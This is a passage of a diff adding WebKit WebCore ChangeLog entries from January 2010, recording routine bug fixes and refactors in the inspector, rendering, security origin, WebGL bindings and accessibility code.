+        [V8] IsRefPtrType() in CodeGeneratorV8.pm increases maintenance burden.
+        https://bugs.webkit.org/show_bug.cgi?id=32994
+
+        Refactoring, covered by existings tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Reversed testing for ref-counted objects,
+            since there's a much smaller (and more stable) set of non-ref-counted ones.
+
+2010-01-06  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fixes the fact that timeline panel results are skewed by the use of DOM mutation events.
+        https://bugs.webkit.org/show_bug.cgi?id=32846
+
+        Instead of using DOM mutation events in InspectorDOMAgent, InspectorController is now called
+        directly when the DOM is mutated.
+
+        * dom/ContainerNode.cpp: Calls InspectorController directly when child nodes are added/removed.
+        (WebCore::dispatchChildInsertionEvents):
+        (WebCore::dispatchChildRemovalEvents):
+        * dom/Element.cpp: Calls InspectorController directly when attributes are added/removed.
+        (WebCore::Element::dispatchAttrRemovalEvent):
+        (WebCore::Element::dispatchAttrAdditionEvent):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didInsertDOMNode):
+        (WebCore::InspectorController::didRemoveDOMNode):
+        (WebCore::InspectorController::didModifyDOMAttr):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::startListening):
+        (WebCore::InspectorDOMAgent::stopListening):
+        (WebCore::InspectorDOMAgent::handleEvent):
+        (WebCore::InspectorDOMAgent::didInsertDOMNode):
+        (WebCore::InspectorDOMAgent::didRemoveDOMNode):
+        (WebCore::InspectorDOMAgent::didModifyDOMAttr):
+        * inspector/InspectorDOMAgent.h:
+
+2010-01-10  Darin Adler  <darin@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        REGRESSION: Japanese text search ignores small vs. large and voicing mark differences
+        https://bugs.webkit.org/show_bug.cgi?id=30437
+        rdar://problem/7214058
+
+        Test: fast/text/find-kana.html
+
+        * editing/TextIterator.cpp:
+        (WebCore::isKanaLetter): Added.
+        (WebCore::isSmallKanaLetter): Added.
+        (WebCore::composedVoicedSoundMark): Added.
+        (WebCore::isCombiningVoicedSoundMark): Added.
+        (WebCore::containsKanaLetters): Added.
+        (WebCore::normalizeCharacters): Added.
+        (WebCore::SearchBuffer::SearchBuffer): Initialize the data members
+        m_targetRequiresKanaWorkaround and m_normalizedTarget.
+        (WebCore::SearchBuffer::isBadMatch): Added. Checks for matches that
+        ICU's default collation considers correct, but we consider incorrect.
+        (WebCore::SearchBuffer::search): Added code to call isBadMatch and
+        move to the next match with usearch_next if the result is true.
+
+2010-01-11  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30883
+        [Gtk] Implement AtkText for HTML elements which contain text
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.h
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (objectAndOffsetUnignored):
+        (webkit_accessible_text_get_caret_offset):
+        * editing/gtk/SelectionControllerGtk.cpp:
+        (SelectionController::notifyAccessibilityForSelectionChange)
+
+        Adjust the caret offset and object with focus to reflect the
+        unignored parent of the static text object which contains the
+        caret. This is necessary because the static text objects are
+        no longer being exposed to ATs.
+
+2010-01-11  Kim Grönholm  <kim.gronholm@nomovok.com>
+
+        Reviewed by Antti Koivisto.
+
+        Touchevent coordinates are incorrect after page zoom and page scroll
+        https://bugs.webkit.org/show_bug.cgi?id=32899
+
+        Test: fast/events/touch-coords-in-zoom-and-scroll.html
+
+        * dom/Touch.cpp:
+        (WebCore::contentsX):
+        (WebCore::contentsY):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent):
+
+2010-01-11  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Have "Paste and Match Style" fire the dom paste event.
+        https://bugs.webkit.org/show_bug.cgi?id=30639
+
+        Test: editing/execCommand/paste-and-match-style-event.html
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::pasteAsPlainText):
+
+2010-01-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Rollout renderpath culling as it once again breaks pixel tests.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+        (WebCore::RenderPath::nodeAtFloatPoint):
+
+2010-01-10  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Allows plugins to participate in accelerated compositing
+        https://bugs.webkit.org/show_bug.cgi?id=33455
+
+        Part 1: rename setContentsToVideo() on GraphicsLayer to setContentsToMedia()
+        to make it more general. Rename associated enums and methods similarly.
+
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::setContentsToMedia):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        (WebCore::GraphicsLayerCA::):
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToMedia):
+        (WebCore::GraphicsLayerCA::commitLayerChanges):
+        (WebCore::GraphicsLayerCA::updateContentsMediaLayer):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovieLayer):
+        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged):
+
+2010-01-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Nikolas Zimmerman.
+
+        Bad DOM performance in large SVG files
+        https://bugs.webkit.org/show_bug.cgi?id=30055
+
+        Cull RenderPaths before passing on to the underlying graphics system.
+
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::paint):
+        (WebCore::RenderPath::nodeAtFloatPoint):
+
+2010-01-10  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Add defensive initialization of iframe sandbox flags
+        https://bugs.webkit.org/show_bug.cgi?id=32368
+
+        We now initialize the SecurityOrigin's sandbox state directly duing
+        construction.  This lets us properly set the isUnique bit.
+
+        Tests: http/tests/security/sandboxed-iframe-origin-add.html
+               http/tests/security/sandboxed-iframe-origin-remove.html
+
+        * WebCore.base.exp:
+        * dom/Document.cpp:
+        (WebCore::Document::initSecurityContext):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::create):
+        (WebCore::SecurityOrigin::setSandboxFlags):
+        * page/SecurityOrigin.h:
+
+2010-01-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Inspect Element selects the wrong element.
+        Drive-by fix that focuses dom tree upon settting focuesDOMNode.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33449
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.setDocument.selectLastSelectedNode):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        * inspector/front-end/treeoutline.js:
+        (TreeElement.prototype.select):
+
+2010-01-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Introduce support for flexible line height in the text editor.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33431
+
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype._offsetToLineNumber):
+        (WebInspector.TextEditor.prototype._lineNumberToOffset):
+        (WebInspector.TextEditor.prototype._lineHeight):
+        (WebInspector.TextEditor.prototype.reveal):
+        (WebInspector.TextEditor.prototype._textChanged):
+        (WebInspector.TextEditor.prototype._selectionChanged):
+        (WebInspector.TextEditor.prototype._updateSize):
+        (WebInspector.TextEditor.prototype._paintLines):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype._paintLineNumbers):
+        (WebInspector.TextEditor.prototype._paintCurrentLine):
+        (WebInspector.TextEditor.prototype._scroll):
+        (WebInspector.TextEditor.prototype._repaintOnScroll):
+        (WebInspector.TextEditor.prototype._caretForMouseEvent):
+        (WebInspector.TextEditor.prototype._handleNavigationKey):
+        (WebInspector.TextEditor.prototype._updateCursor):
+        (WebInspector.TextEditor.prototype._invalidateHighlight):
+        (WebInspector.TextEditor.prototype._paintSelection):
+        (WebInspector.TextEditor.prototype._initFont):
+        (WebInspector.TextCursor.prototype.setTextLineHeight):
+
+2010-01-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not repaint line numbers while editing within line.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33427
+
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor.prototype._textChanged):
+        (WebInspector.TextEditor.prototype._selectionChanged):
+        (WebInspector.TextEditor.prototype._repaintAll):
+        (WebInspector.TextEditor.prototype._paintLines):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype._paintLineNumbers):
+        (WebInspector.TextEditor.prototype._updateCursor):
+        (WebInspector.TextEditor.prototype._copy):
+
+2010-01-10  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed whitespace fixes.
+
+        * html/HTMLFrameOwnerElement.cpp:
+        (WebCore::HTMLFrameOwnerElement::setSandboxFlags):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::updateSandboxFlags):
+        * loader/FrameLoader.h:
+
+2010-01-09  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Unify origin sandbox flag with m_noAccess in SecurityOrigin
+        https://bugs.webkit.org/show_bug.cgi?id=32372
+
+        It turns out the SandboxOrigin bit is slightly different than the
+        unique origin concept because the sandbox bit is inherited by iframes.
+        These concepts are separate in the spec, so I think it's ok to keep
+        them separate in the implementation as well.
+
+        No new tests because there is no behavior change.
+
+        * dom/Document.cpp:
+        (WebCore::Document::cookie):
+        (WebCore::Document::setCookie):
+        * loader/CrossOriginAccessControl.cpp:
+        (WebCore::passesAccessControlCheck):
+        * page/SecurityOrigin.cpp:
+        (WebCore::schemesWithUniqueOrigins):
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::canAccess):
+        (WebCore::SecurityOrigin::canRequest):
+        (WebCore::SecurityOrigin::taintsCanvas):
+        (WebCore::SecurityOrigin::setSandboxFlags):
+        (WebCore::SecurityOrigin::toString):
+        (WebCore::SecurityOrigin::registerURLSchemeAsNoAccess):
+        (WebCore::SecurityOrigin::shouldTreatURLSchemeAsNoAccess):
+        * page/SecurityOrigin.h:
+        (WebCore::SecurityOrigin::canAccessDatabase):
+        (WebCore::SecurityOrigin::canAccessStorage):
+        (WebCore::SecurityOrigin::canAccessCookies):
+        (WebCore::SecurityOrigin::isUnique):
+
+2010-01-09  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        ScriptController::isEnabled needs to be renamed
+        https://bugs.webkit.org/show_bug.cgi?id=32063
+
+        Rename ScriptController::isEnabled to
+        ScriptController::canExecuteScripts to reflect what the method actually
+        means.  This is a trivial change, but it involved touching a lot of
+        call sites.
+
+        * WebCore.PluginHostProcess.exp:
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::canExecuteScripts):
+        (WebCore::ScriptController::executeScript):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent):
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::parseCode):
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::bindingRootObject):
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::jsObjectForPluginElement):
+        (WebCore::ScriptController::executeScriptInWorld):
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptControllerMac.mm:
+        (WebCore::ScriptController::windowScriptObject):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/js/ScriptState.cpp:
+        (WebCore::scriptStateFromNode):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::createScriptObjectForPluginElement):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::retrieve):
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::evaluateScript):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::startElementNs):
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::controls):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::parseTag):
+        (WebCore::HTMLTokenizer::processToken):
+        * inspector/InspectorController.cpp:
+        (WebCore::canPassNodeToJavaScript):
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::setJavaScriptPaused):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::isProcessingUserGesture):
+        (WebCore::FrameLoader::open):
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectsInAllWorlds):
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectInWorld):
+
+2010-01-09  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Inspector font for errors is ugly on non-OSX platforms
+        https://bugs.webkit.org/show_bug.cgi?id=33340
+
+        * css/view-source.css: Add a fallback to sans-serif on a CSS
+        selector that previously only listed Lucida Grande.
+
+2010-01-09  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        <rdar://problem/7525778> Font fallback kills SVG kerning
+        https://bugs.webkit.org/show_bug.cgi?id=33400
+
+        Test: platform/mac/fast/text/sticky-typesetting-features.html
+
+        Cache font attributes separately for different typesetting features.
+
+        * platform/graphics/SimpleFontData.h: Replaced single-element caches
+        with maps.
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::disableLigatures): Added an ATSUStyle parameter.
+        (WebCore::initializeATSUStyle): Look up the ATSUStyle in the map and
+        initialize if necessary. Return the ATSUStyle.
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharactersATSUI):
+        Use the ATSUStyle returned from initializeATSUStyle().
+        * platform/graphics/mac/SimpleFontDataMac.mm:
+        (WebCore::SimpleFontData::platformInit):
+        (WebCore::SimpleFontData::platformDestroy): Destroy the ATSUStyles in the
+        map.
+        (WebCore::SimpleFontData::getCFStringAttributes): Look up the attributes
+        dictionary in the map and initialize if necessary.
+
+2010-01-08  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed.  Fix namespace indent for SecurityOrigin.h.
+
+        * page/SecurityOrigin.h:
+        (WebCore::SecurityOrigin::domainWasSetInDOM):
+        (WebCore::SecurityOrigin::protocol):
+        (WebCore::SecurityOrigin::host):
+        (WebCore::SecurityOrigin::domain):
+        (WebCore::SecurityOrigin::port):
+        (WebCore::SecurityOrigin::canLoadLocalResources):
+        (WebCore::SecurityOrigin::setSandboxFlags):
+        (WebCore::SecurityOrigin::isSandboxed):
+        (WebCore::SecurityOrigin::canAccessDatabase):
+        (WebCore::SecurityOrigin::canAccessStorage):
+        (WebCore::SecurityOrigin::):
+
+2010-01-08  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dmitry Titov.
+
+        bindings/v8/DOMData is missing a virtual destructor
+        https://bugs.webkit.org/show_bug.cgi?id=33390
+
+        DOMData is the base class for ChildThreadDOMData and MainThreadDOMData classes
+        but it does not have a virtual destructor. While this isn't currently causing
+        any leaks, since there are no instances of ChildThreadDOMData or
+        MainThreadDOMData that are manipulated via a DOMData pointer, the ARM GCC
+        compiler generates the following compilation error:
+
+        "/WebCore/bindings/v8/DOMData.h:45: error: 'class WebCore::DOMData' has virtual
+        functions and accessible non-virtual destructor"
+
+        We therefore need to add a virtual destructor to DOMData.
+
+        * bindings/v8/DOMData.cpp:
+        (WebCore::DOMData::~DOMData):
+        * bindings/v8/DOMData.h:
+
+2010-01-08  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33417
+
+        Cleans up style errors exposed by the patch for bug #33198.
+
+        No functionality was changed. So, no new tests.
+
+        * platform/graphics/SimpleFontData.h:
+        * plugins/PluginPackage.cpp:
+
+2010-01-08  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        WebGL canvas paints background color twice
+        https://bugs.webkit.org/show_bug.cgi?id=33361
+
+        Clean up some logic around "directly composited" content: some images, video, and WebGL.
+
+        We previously set the GraphicsLayer background color to the CSS background color
+        in some cases where the box has no other decorations. However, the content 
+        layer's bounds do not correspond with the background box in many cases,
+        and we could end up both painting the background color, and setting it on the layer.
+        
+        Simplify this logic to never use layer background colors, and thus skip allocating
+        backing store only when the element has no visible box decorations.
+
+        Tests: compositing/images/direct-image-background-color.html
+               compositing/reflections/simple-composited-reflections.html
+               compositing/video/video-background-color.html
+               compositing/webgl/webgl-background-color.html
+               compositing/webgl/webgl-blending.html
+
+        * rendering/RenderLayerBacking.h:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::is3DCanvas): Utility to determine if a RenderObject is a canvas with WebGL
+        (WebCore::RenderLayerBacking::RenderLayerBacking): Remove m_hasDirectlyCompositedContent.
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration): canUseDirectCompositing()
+        is renamed to isDirectlyCompositedImage() and only applies to images now. 
+        No longer set layer background color.
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry): Just use hasPaintedContent()
+        as the argument to setDrawsContent().
+        (WebCore::hasBoxDecorationsOrBackground): Renamed.
+        (WebCore::RenderLayerBacking::hasNonCompositingContent):
+        (WebCore::hasBoxDecorationsOrBackgroundImage): Renamed from hasBoxDecorations().
+        (WebCore::RenderLayerBacking::isSimpleContainerCompositingLayer): Moved test for
+        hasOverflowControls() into hasNonCompositingContent() and removed the FIXME comment.
+        (WebCore::RenderLayerBacking::containsPaintedContent): New method that decides
+        if the layer (and its non-composited children) has any content that must be painted into backing store.
+        (WebCore::RenderLayerBacking::isDirectlyCompositedImage): Renamed from canUseDirectCompositing()
+        and reduced to only apply to images.
+        (WebCore::RenderLayerBacking::rendererContentChanged): 3D canvas no longer falls under the
+        canUseDirectCompositing() scope.
+
+2010-01-08  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Use member initialization syntax instead of assignment for member variables of Document used
+        for determining minimum layout delay.
+        https://bugs.webkit.org/show_bug.cgi?id=33316
+
+        No new tests, style change only.
+
+        * dom/Document.cpp: Modified.
+        (WebCore::Document::Document): Modified. Use initializer list for m_startTime, m_overMinimumLayoutThreshold and m_extraLayoutDelay.
+
+2010-01-08  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Passing array that is too large to set method of WebGLArrays does not throw an exception
+        https://bugs.webkit.org/show_bug.cgi?id=33352
+
+        Added needed range checks to JSC and V8 custom bindings. Expanded
+        preexisting test suite for WebGLArrays and updated its expected
+        results. Tested in WebKit and Chromium.
+
+        Test: fast/canvas/webgl/array-set-out-of-bounds.html
+
+        * bindings/js/JSWebGLArrayHelper.h:
+        (WebCore::setWebGLArrayFromArray):
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        (WebCore::setWebGLArrayFromArray):
+
+2010-01-08  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32962
+        HTML tags are wrongfully parsed when setting innerHTML of a SCRIPT element
+
+        Also fixed the same for STYLE elements.
+
+        Tests: fast/dom/css-innerHTML.html
+               fast/dom/script-innerHTML-x.xhtml
+               fast/dom/script-innerHTML.html
+
+        * html/HTMLElement.cpp: (WebCore::HTMLElement::setInnerHTML): Don't parse JS or CSS as HTML,
+        matching Firefox.
+
+2010-01-08  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=32757 Repaint bug 
+        with -webkit-shadow on svg shapes
+        -and-
+        <rdar://problem/7389149>
+
+        Inflate the repaintRect for the shadow using its extent.
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::computeRectForRepaint):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::computeRectForRepaint):
+        * rendering/RenderSVGModelObject.cpp:
+        (WebCore::RenderSVGModelObject::computeRectForRepaint):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::repaintRectInLocalCoordinates):
+        (WebCore::RenderSVGRoot::computeRectForRepaint):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::computeRectForRepaint):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::getSVGShadowExtent):
+        (WebCore::SVGRenderBase::inflateForShadow):
+        * rendering/SVGRenderSupport.h:
+
+2010-01-08  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        WebGLArray subclasses do the wrong conversion in indexSetter
+        https://bugs.webkit.org/show_bug.cgi?id=33350
+
+        Test: fast/canvas/webgl/array-setters.html
+
+        * bindings/js/JSWebGLFloatArrayCustom.cpp:
+        (WebCore::JSWebGLFloatArray::indexSetter):
+        * bindings/js/JSWebGLUnsignedIntArrayCustom.cpp:
+        (WebCore::JSWebGLUnsignedIntArray::indexSetter):
+
+2010-01-08  Luiz Agostini  <luiz.agostini@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Delegation client
+        https://bugs.webkit.org/show_bug.cgi?id=32826
+
+        Factory related code removed from QtAbstractWebPopup. Popups are now created
+        by ChromeClientQt.
+        Popup content information struct added to class QtAbstractWebPopup.
+        PopupMenuClient is now hidden from higher layers.
+        QtAbstractWebPopup now receives content information and font as parameters
+        of method populate.
+        QtFallbackWebPopup moved to WebKit/qt/WebCoreSupport.
+
+        * WebCore.pro:
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::PopupMenu):
+        (WebCore::getItems):
+        (WebCore::PopupMenu::show):
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::QtAbstractWebPopup):
+        (WebCore::QtAbstractWebPopup::popupDidHide):
+        (WebCore::QtAbstractWebPopup::valueChanged):
+        * platform/qt/QtAbstractWebPopup.h:
+        (WebCore::QtAbstractWebPopup::Item::):
+        * platform/qt/QtFallbackWebPopup.cpp: Removed.
+        * platform/qt/QtFallbackWebPopup.h: Removed.
+
+2010-01-08  Yuzo Fujishima  <yuzo@google.com>
+
+        Reviewed by Darin Adler.
+
+        Skip invalid blocks in CSS property declarations.
+        https://bugs.webkit.org/show_bug.cgi?id=31231
+        https://bugs.webkit.org/show_bug.cgi?id=26619
+
+        This patch makes the CSS parser skip property declarations containing invalid blocks.
+
+        Test: fast/css/parsing-error-recovery.html
+
+        * css/CSSGrammar.y:
+
+2010-01-08  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        AX: CSS content not returned correctly in AX
+        https://bugs.webkit.org/show_bug.cgi?id=33308
+
+        Test: platform/mac/accessibility/css-content-attribute.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::textUnderElement):
+
+2010-01-08  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Implement full-screen video for Windows
+        https://bugs.webkit.org/show_bug.cgi?id=31318
+        
+        This is mostly support logic for taking video
+        into and out of full-screen. It also contains the
+        QTMovieWin piece which adds support for the actual
+        full-screen window itself. Events from the window
+        are sent to the FullscreenVideosController for handling.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::addData):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        (WebCore::MediaPlayerPrivate::supportsFullscreen):
+        (WebCore::MediaPlayerPrivate::platformMedia):
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWinPrivate::QTMovieWinPrivate):
+        (QTMovieWin::initializeQuickTime):
+        (QTMovieWin::_handleMessages):
+        (QTMovieWin::enterFullscreen):
+        (QTMovieWin::exitFullscreen):
+        * platform/graphics/win/QTMovieWin.h:
+
+2010-01-08  Matt Perry  <mpcomplete@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix a regression that removed a call to
+        FrameLoaderClient::didDestroyScriptContextForFrame.
+        https://bugs.webkit.org/show_bug.cgi?id=33347
+
+        * bindings/v8/V8DOMWindowShell.cpp:
+        (WebCore::V8DOMWindowShell::disposeContextHandles):
+
+2010-01-08  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        WebKit plugins are not rendered during printing.
+        https://bugs.webkit.org/show_bug.cgi?id=33022.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::paintWindowedPluginIntoContext): Tell
+          cairo printing surface to flush so that blank regions do
+          not write over the plugin's paint operations.
+        * rendering/RenderLayer.cpp: Build fix.
+        (WebCore::RenderLayer::beginTransparencyLayers): Correct
+          method signature missing for ColorSpace.
+
+2010-01-08  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        REGRESSION(52819?): AXLoadComplete and AXLayoutComplete causes 4 tests fail on Snow Leopard Debug bot
+        https://bugs.webkit.org/show_bug.cgi?id=33300
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilitySetPostedNotificationCallback:withContext:]):
+        (-[AccessibilityObjectWrapper accessibilityPostedNotification:]):
+
+2010-01-08  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Regex-based syntax highlighting is slow.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33330
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/JavaScriptHighlighterScheme.js: Removed.
+        * inspector/front-end/JavaScriptTokenizer.js: Added.
+        (WebInspector.JavaScriptTokenizer):
+        (WebInspector.JavaScriptTokenizer.prototype.set line):
+        (WebInspector.JavaScriptTokenizer.prototype.getCondition):
+        (WebInspector.JavaScriptTokenizer.prototype.setCondition):
+        (WebInspector.JavaScriptTokenizer.prototype._charAt):
+        (WebInspector.JavaScriptTokenizer.prototype.nextToken):
+        * inspector/front-end/JavaScriptTokenizer.re2js: Added.
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.highlight):
+        (WebInspector.TextEditorHighlighter.prototype._lex):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2010-01-07  Mike Belshe  <mbelshe@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix Spdy casing to match style guide.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33326
+
+        * platform/network/chromium/ResourceResponse.h:
+        (WebCore::ResourceResponse::ResourceResponse):
+        (WebCore::ResourceResponse::wasFetchedViaSPDY):
+        (WebCore::ResourceResponse::setWasFetchedViaSPDY):
+
+2010-01-07  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32987
+
+        Added ENABLE_XHTMLMP flag. Disabled by default.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * config.h:
+
+2010-01-07  Stephanie Lewis  <slewis@apple.com>
+
+        Rolled out http://trac.webkit.org/changeset/52778 due to rolling
+        out http://trac.webkit.org/changeset/52756
+
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyle):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::layout):
+        (WebCore::SelectionController::recomputeCaretRect):
+        (WebCore::SelectionController::invalidateCaretRect):
+        (WebCore::SelectionController::paintCaret):
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::attach):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::attach):
+        * page/Frame.cpp:
+        (WebCore::Frame::revealSelection):
+
+2010-01-07  Stephanie Lewis  <slewis@apple.com>
+
+        Rollout http://trac.webkit.org/changeset/52756 due to a large performance regression.
+
+        * dom/Document.cpp:
+        (WebCore::Document::updateLayout):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController):
+        (WebCore::SelectionController::setSelection):
+        * editing/SelectionController.h:
+        * page/Frame.cpp:
+        (WebCore::Frame::setCaretVisible):
+        (WebCore::Frame::selectionLayoutChanged):
+        (WebCore::Frame::caretBlinkTimerFired):
+        (WebCore::Frame::selectionBounds):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::needsLayout):
+
+2010-01-07  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix a crash seen on the buildbots.
+
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::JSDOMWindowBase::JSDOMWindowBase): Don't disable specific
+        function tracking here; it's too late, as some specific functions
+        may already have been tracked in the base class constructor.
+
+2010-01-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        SVGTextElement & friends need to implement svgAttributeChanged
+        https://bugs.webkit.org/show_bug.cgi?id=33284
+
+        Implement svgAttributeChanged() for SVGTextElement & SVGTRefElement. As <text> element contain children,
+        childrenChanged() has to be implemented as well for SVGTextElement.
+
+        Simplify SVGTransformable::parseTransformAttribute() code, clearing lists in the beginning
+        and on error case, after parsing - previously the calling site had to take care of that.
+
